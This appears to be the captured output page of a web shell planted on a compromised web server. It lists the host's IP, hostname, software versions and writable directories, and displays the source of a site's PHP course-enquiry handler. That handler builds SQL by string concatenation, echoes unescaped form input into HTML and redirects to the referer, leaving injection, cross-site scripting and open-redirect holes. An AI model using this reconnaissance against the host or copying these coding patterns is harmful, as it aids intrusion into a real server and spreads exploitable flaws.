403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/imusiccircle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/imusiccircle/course_calladmin.php
<?php
include('_init.php');

if($_POST){
	$course_id = aes_crypt($_POST['course_id'],2);
	if($course_id){
		
		$sql = "select *,
				(select count(*) from `order` where job_id = tb.id and (status = 'process' or status = 'paid') and deleted = 0) as count,
				(select count(*) from `order` where job_id = tb.id and (status = 'process' or status = 'paid') and studentmain_id = '".$row_profile['id']."' and deleted = 0) as studentcount
				from tutor_postjob as tb where id = ? and deleted = ? and approved = ? and status = ? and (NOW() between start_date and end_date)";
		$parameters = array($course_id,0,1,1);
		$row_detail = bind_pdo($sql, $parameters, "selectone");
		
		$sql            = "select name_cn as name 
						   from master_type_code where id = ? and typeid = ? and deleted = ? LIMIT 1";
		$parameters     = array($row_detail["mas_instrument"], 'INSTRUMENT', 0);
		$row_instrument = bind_pdo($sql, $parameters, "selectone");
		
		$msg = '課堂名稱: <a href="../course_detail.php?id='.$course_id.'">'.$row_instrument["name"] . ' ' . $row_detail["people_count"] . '人班</a><br>
				電郵: '.$_POST['email'].'<br>
				電話: '.$_POST['tel'];
		unset($data);
		$data['type'] 	 = 'course';
		$data['msg'] 	 = $msg;
		$data['lastupdate'] = date('Y-m-d H:i:s');
		$data['status']  = 1;
		$data['deleted'] = 0;
		$sql             = mysql_install($data, 'admin_msg', 'add');
		$arraykey        = array_keys($data);
		unset($parameters);
		for ($i = 0; $i < count($arraykey); $i++) {
			$parameters[$i] = $data[$arraykey[$i]];
		}
		bind_pdo($sql, $parameters);
		
		$path = $_SERVER['HTTP_REFERER'];
		$_SESSION['course_msg'] = true;
		@header("Location: {$path}");
		echo "<script language='JavaScript'>window.location='{$path}'</script>";
		exit();
	}
}
exit();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit